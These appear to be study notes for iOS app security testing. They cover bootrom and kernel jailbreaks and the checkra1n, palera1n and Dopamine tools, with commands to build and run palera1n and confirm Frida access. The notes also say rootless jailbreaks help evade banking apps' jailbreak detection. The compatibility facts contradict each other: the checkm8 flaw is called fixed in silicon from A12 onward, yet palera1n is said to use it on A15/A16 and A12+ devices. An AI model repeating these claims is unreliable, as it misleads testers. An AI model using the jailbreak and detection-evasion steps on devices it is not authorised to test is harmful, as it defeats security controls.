A vulnerability in the device's read-only bootrom. Cannot be patched by Apple via software update because the bootrom is burned into the chip at manufacture. checkra1n exploits the checkm8 bootrom vulnerability in A5-A11 chips (iPhone 4S through iPhone X). Semi-tethered: must re-jailbreak after every reboot.
Kernel Exploit
A vulnerability in the iOS kernel. Apple can and does patch these in new iOS versions. Kernel-based jailbreaks only work on specific iOS version ranges. Dopamine, Unc0ver, and Taurine are kernel-exploit jailbreaks. They stop working when the target iOS version receives a patch.
checkra1n
Uses checkm8 (bootrom exploit) to jailbreak A11 and earlier chips (iPhone X and older). Works on iOS 12 through 14. Requires a Mac or Linux machine to run. Cannot jailbreak A12+ chips (iPhone XS and newer) because the bootrom vulnerability was fixed in silicon. Good for testing older devices.
palera1n
Also uses checkm8. Extends support to A15/A16 chips via a different approach. Supports modern iOS versions (16/17). Two modes: rootful (traditional, full root filesystem modification) and rootless (uses app containers, less modification of base OS). Most modern checkm8-based jailbreak.
Dopamine
A kernel-exploit based jailbreak for A12-A15 devices on specific iOS 15-16 versions. Rootless architecture - it does not modify the root filesystem. Instead it uses a system called "pseudoroot" for package installation. Lower detection risk because core iOS files are untouched.
Rootless Jailbreaks - Impact on Testing
Rootless jailbreaks cannot write to /usr/bin or /etc. Some tools that expect traditional paths need adjustment. Frida works on rootless via a different injection path. The advantage: banking apps using jailbreak detection are more likely to run because rootless leaves fewer system-level fingerprints.
# Check device chip generation (determines jailbreak compatibility)
# On device via SSH or in Frida:
# A11 = iPhone X, 8, 8 Plus (checkra1n compatible)
# A12+ = iPhone XS and newer (palera1n for checkm8, Dopamine for kernel)

# palera1n usage (from your Linux/macOS machine)
git clone https://github.com/palera1n/palera1n-c
cd palera1n-c && make
./palera1n -l        # rootless mode (recommended)
./palera1n           # rootful mode (legacy)

# After jailbreak - verify Frida server is accessible
frida-ps -U
  # if this lists processes, your jailbreak + Frida server are working